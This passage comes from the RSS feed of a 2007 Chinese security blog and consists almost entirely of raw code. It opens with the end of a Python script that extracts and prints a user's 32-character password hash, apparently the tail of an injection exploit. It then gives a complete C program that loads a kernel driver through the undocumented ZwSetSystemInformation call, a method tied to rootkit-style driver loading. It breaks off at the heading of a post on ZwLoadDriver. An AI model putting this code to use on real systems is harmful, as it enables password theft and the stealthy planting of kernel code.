src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.start()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;threading.activeCount()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">continue</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+]&nbsp;The&nbsp;uid=</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;password&nbsp;hash&nbsp;is:&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;n&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">33</span><span style="COLOR: #000000">)&nbsp;:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(password[n])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\n[+]&nbsp;Finished&nbsp;\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__name__</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">__main__</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:&nbsp;main()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1239.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-22 16:12 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用ZwSetSystemInformation加载驱动</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 08 May 2007 12:54:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1188.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1188.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1188.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">define&nbsp;NT_SUCCESS(Status)&nbsp;((NTSTATUS)(Status)&nbsp;&gt;=&nbsp;0)&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">define&nbsp;SystemLoadAndCallImage&nbsp;38&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_UNICODE_STRING&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;Length;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;MaximumLength;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;Buffer;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;UNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PUNICODE_STRING;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;unsigned&nbsp;long&nbsp;NTSTATUS;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;struct&nbsp;_SYSTEM_LOAD_AND_CALL_IMAGE&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING&nbsp;ModuleName;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;SYSTEM_LOAD_AND_CALL_IMAGE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PSYSTEM_LOAD_AND_CALL_IMAGE;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;ZWSETSYSTEMINFORMATION)(DWORD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ULONG);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>ZWSETSYSTEMINFORMATION&nbsp;ZwSetSystemInformation;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLINITUNICODESTRING)(PUNICODE_STRING</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">PCWSTR&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLINITUNICODESTRING&nbsp;RtlInitUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>typedef&nbsp;DWORD&nbsp;(</span><span style="COLOR: #0000ff">CALLBACK</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;RTLANSISTRINGTOUNICODESTRING)(PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PVOID</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">DWORD);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>RTLANSISTRINGTOUNICODESTRING&nbsp;RtlAnsiStringToUnicodeString;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;SYSTEM_LOAD_AND_CALL_IMAGE&nbsp;GregsImage;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING&nbsp;TmpBuff;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;szDrvFullPath[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szTmp[</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Load&nbsp;driver&nbsp;with&nbsp;ZwSetSystemInformation(&nbsp;)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Date:&nbsp;8th&nbsp;May&nbsp;2007\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Modifed&nbsp;by:&nbsp;GaRY&nbsp;&lt;wofeiwo_at_gmail_dot_com&gt;\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-h</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;stricmp(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;DriverPath&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;从ntll.dll获取函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(RtlInitUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLINITUNICODESTRING)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlInitUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlInitUnicodeString\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(ZwSetSystemInformation&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ZWSETSYSTEMINFORMATION)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(RtlAnsiStringToUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLANSISTRINGTOUNICODESTRING)&nbsp;GetProcAddress(&nbsp;GetModuleHandle(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlAnsiStringToUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;))&nbsp;)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GetProcAddress(\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwSetSystemInformation\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;GetFullPathName(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Loading&nbsp;driver:&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szDrvFullPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\??\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szTmp);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szDrvFullPath[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;TmpBuff</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Buffer&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(PVOID)szDrvFullPath;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;TmpBuff</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Length&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">(GregsImage</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">ModuleName)</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">TmpBuff</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;NT_SUCCESS(&nbsp;ZwSetSystemInformation(&nbsp;SystemLoadAndCallImage</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">GregsImage</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(SYSTEM_LOAD_AND_CALL_IMAGE))&nbsp;))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">加载进内核空间</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Driver:&nbsp;%s&nbsp;loaded.\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Driver:&nbsp;%s&nbsp;not&nbsp;loaded.\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1188.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-08 20:54 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwSetSystemInformation.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用ZwLoadDriver加载驱动</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 08 May 2007 07:12:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1184.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1184.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1184.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
